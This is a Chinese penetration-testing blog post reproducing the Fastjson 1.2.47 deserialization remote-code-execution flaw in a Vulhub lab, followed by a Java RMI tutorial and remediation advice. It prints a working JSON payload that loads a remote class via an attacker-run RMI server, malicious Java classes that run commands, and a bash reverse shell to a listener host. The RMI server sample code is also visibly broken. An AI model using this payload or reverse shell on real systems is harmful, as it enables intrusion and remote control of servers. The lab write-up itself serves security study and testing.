渗透测试-Fastjson 1.2.47 RCE漏洞复现

漏洞概述

Fastjson是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的Java项目中。Fastjson 近几年被爆出的反序列化 RCE 漏洞影响无数厂商,2017年官方主动爆出了 fastjson 1.2.24 的反序列化漏洞以及升级公告,fastjson 于1.2.24 版本后增加了反序列化白名单。
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第1张图片
而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令(具体的漏洞原理分析参见:Fastjson <=1.2.47 远程代码执行漏洞分析 。本文的目的就是复现 Fastjson 1.2.47反序列化漏洞。

漏洞复现

本次实验基于以下环境:

主机 IP地址 作用
Ubuntu 16.04 虚拟机 192.168.125.3 靶机,基于Vulhub漏洞集成环境运行靶场容器
Kali 2020 虚拟机 192.168.125.4 搭建 Web 服务器和 RMI 服务
Win 10 物理机 192.168.125.2 使用 Burpsuite 发送 POC;nc 接收反弹Shell

靶场搭建

1、进入 Ubuntu 虚拟机中 Vulhub 环境下 Fastjson 漏洞对应的路径,执行命令docker-compose up -d自动自动漏洞容器:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第2张图片2、此时 Win 10 物理机访问http://192.168.125.3:8090即可看到一个 json 对象被返回,代表漏洞环境搭建成功:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第3张图片

此处将 content-type 请求头修改为 application/json 后可向其通过 POST 请求提交新的 JSON 对象,后端会利用 fastjson 进行解析。

攻击过程

原理解析:为了成功利用 Fastjson 1.2.47 RCE 反序列化漏洞,需要提前在 Kali 虚拟机中搭建 Web 服务器和 RMI 服务,随后当我们向 fastjson 服务器 POST 提交 POC 后,fastjson 服务器会访问远程 RMI 服务,RMI 再通过将请求重定向到 Web 服务器后下载存放在 Web服务器中的恶意 Java代码(已编译的反序列化类),从而成功实现远程命令执行。

1、RMI服务搭建可直接通过已经编译好的 marshalsec 工具快速开启,首先从 Github 下载 marshalsec 到本地:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第4张图片
2、使用 maven 编译生成 marshalsec.jar 工具包:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第5张图片3、然而悲剧的是我并无法成功编译,编译报错,百度无果:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第6张图片4、不甘心就此失败,痛下狠手借助某宝花了0.6块大洋,在CSDN直接下载某大佬编译好并分享的 marshalsec.jar工具包:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第7张图片5、启动 RMI 服务的工具包准备好了,那就开始准备恶意 Java 文件吧,如图创建文件TouchFile.java(注:红体就是要执行的命令,每次换命令,都要重新编译文件):
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第8张图片此处附上具体代码:

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

6、接下来对TouchFile.java进行编译,生成TouchFile.class文件:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第9张图片
7、接着需要使用 Tomcat 或者 Python 搭起 Web 服务,让TouchFile.class文件可对外访问,此处选择 Python 启动 Web 服务:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第10张图片

【注意】此处如果你的环境是python2,使用的命令是:python -m SimpleHTTPServer 8088;如果是python3,使用的命令是:python -m http.server 8088

8、在 Win 10 物理机访问http://192.168.125.4:8088/(Kali 的 IP+刚才开启的服务端口8088),可成功访问到TouchFile.class文件,如下图所示:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第11张图片

9、Web 服务器搭建好了,接下来需要启用 RMI 服务才行。使用上面准备好的marshalsec.jar 启动一个RMI服务器,监听 9001 端口,并指定加载远程类TouchFile.class,如下图所示:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第12张图片
10、在 Win 10 物理机使用 BurpSuite 向 Fastjson 靶场服务器发送Payload,如下图所示:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第13张图片具体Payload如下:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.125.4:9001/TouchFile",
        "autoCommit":true
    }
}

11、此时 Kali 虚拟机的 Web 服务器和 RMI 服务器分别记录了请求信息:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第14张图片

12、最后可回到 Ubuntu 虚拟机进入Fastjson 服务器对应的 Docker 容器查看/tmp/success是否创建成功:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第15张图片
至此,已成功利用 Fastjson 反序列化漏洞实现在 Fastjson 服务器目录下创建文件。

反弹Shell

可以远程执行命令的漏洞仅仅创建文件就太对不起辛辛苦苦搭建的靶场环境了,接下来可进一步实现反弹 Shell。方法很简单,只需要修改以上恶意文件TouchFile.java 的代码:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.125.2/1888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后进行编译,并跟上述过程一样使用 BurpSuite 发送最终的 Payload 即可。同时发送 Payload 之前在接收 Shell 的主机开启端口监听,便可成功反弹 Shell:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第16张图片

圈重点】最后注意 RMI 这种利用方式对 JDK 版本是有要求的,它在以下 JDK 版本被修复(启动服务之前用 java -version查看自己的 jdk 版本是否低于以下版本):
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第17张图片

RMI 知识

漏洞复现过程使用到 Java RMI 远程方法调用,故此处补充作下介绍,熟知 RMI 的大佬请自行忽略。

Java远程方法调用,简称Java RMI(Java Remote Method Invocation),是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

RMI远程调用步骤
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第18张图片JAVA RMI简单示例

本示例是client端调用server端远程对象的加减法方法,具体步骤为:

1、定义一个远程接口

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * 必须继承Remote接口。
 * 所有参数和返回类型必须序列化(因为要网络传输)。
 * 任意远程对象都必须实现此接口。
 * 只有远程接口中指定的方法可以被调用。
 */
public interface IRemoteMath extends Remote {
  	// 所有方法必须抛出RemoteException
	public double add(double a, double b) throws RemoteException;
	public double subtract(double a, double b) throws RemoteException;
	
}

2、远程接口实现类

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;

/**
 * 服务器端实现远程接口。
 * 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
 */
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {

	private int numberOfComputations;
	
	protected RemoteMath() throws RemoteException {
		numberOfComputations = 0;
	}
	
	@Override
	public double add(double a, double b) throws RemoteException {
		numberOfComputations++;
		System.out.println("Number of computations performed so far = " 
				+ numberOfComputations);
		return (a+b);
	}

	@Override
	public double subtract(double a, double b) throws RemoteException {
		numberOfComputations++;
		System.out.println("Number of computations performed so far = " 
				+ numberOfComputations);
		return (a-b);
	}
}

3、服务器端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

/**
 * 创建RemoteMath类的实例并在rmiregistry中注册。
 */
public class RMIServer {

	public static void main(String[] args)  {
		public static String HOST = "127.0.0.1";
        public static int PORT = 8089;
        public static String RMI_PATH = "/math";
        public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;
        
		try {
		    // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
		    // 创建一个服务
			IRemoteMath remoteMath = new RemoteMath();  
			// 服务命名绑定        
			Registry registry = LocateRegistry.getRegistry();
			registry.bind(RMI_NAME, remoteMath);
			System.out.println("Math server ready");
		} catch (Exception e) {
			e.printStackTrace();
		}		
		
	}
|

4、客户端代码:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

public class MathClient {

	public static void main(String[] args) {
		
		try { 
			// 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math
			// 否则,URL就是:rmi://RMIService_IP:8089/math
			Registry registry = LocateRegistry.getRegistry("127.0.0.1",8089);        
			// 从Registry中检索远程对象的存根/代理
			IRemoteMath remoteMath = (IRemoteMath)registry.lookup(RMI_NAME);
			// 调用远程对象的方法
			double addResult = remoteMath.add(5.0, 3.0);
			System.out.println("5.0 + 3.0 = " + addResult);
			double subResult = remoteMath.subtract(5.0, 3.0);
			System.out.println("5.0 - 3.0 = " + subResult);			
		}catch(Exception e) {
			e.printStackTrace();
		}
				
	}
}

结果如下:
渗透测试-Fastjson 1.2.47 RCE漏洞复现_第19张图片

修复方案

  1. 升级 Fastjson 到最新版 (>=1.2.68 新增了safemode, 彻底关闭 autotype);
  2. WAF拦截过滤请求包中的 @type,%u0040%u0074%u0079%u0070%u0065, \u0040type,
    \x04type等多种编码的 autotype 变形;
  3. 最少升级到1.2.48以上版本且关闭 autotype 选项;
  4. 升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上。

参考文章:

1、Vulhub官方漏洞复现教程:Fastjson 1.2.47 远程命令执行漏洞;
2、“信息安全小学生”微信公众号:Fastjson 1.2.47 RCE漏洞复现 ‘
3、某不知名大佬的博客文章:Fastjson 1.2.47 远程命令执行漏洞。

你可能感兴趣的:(渗透测试)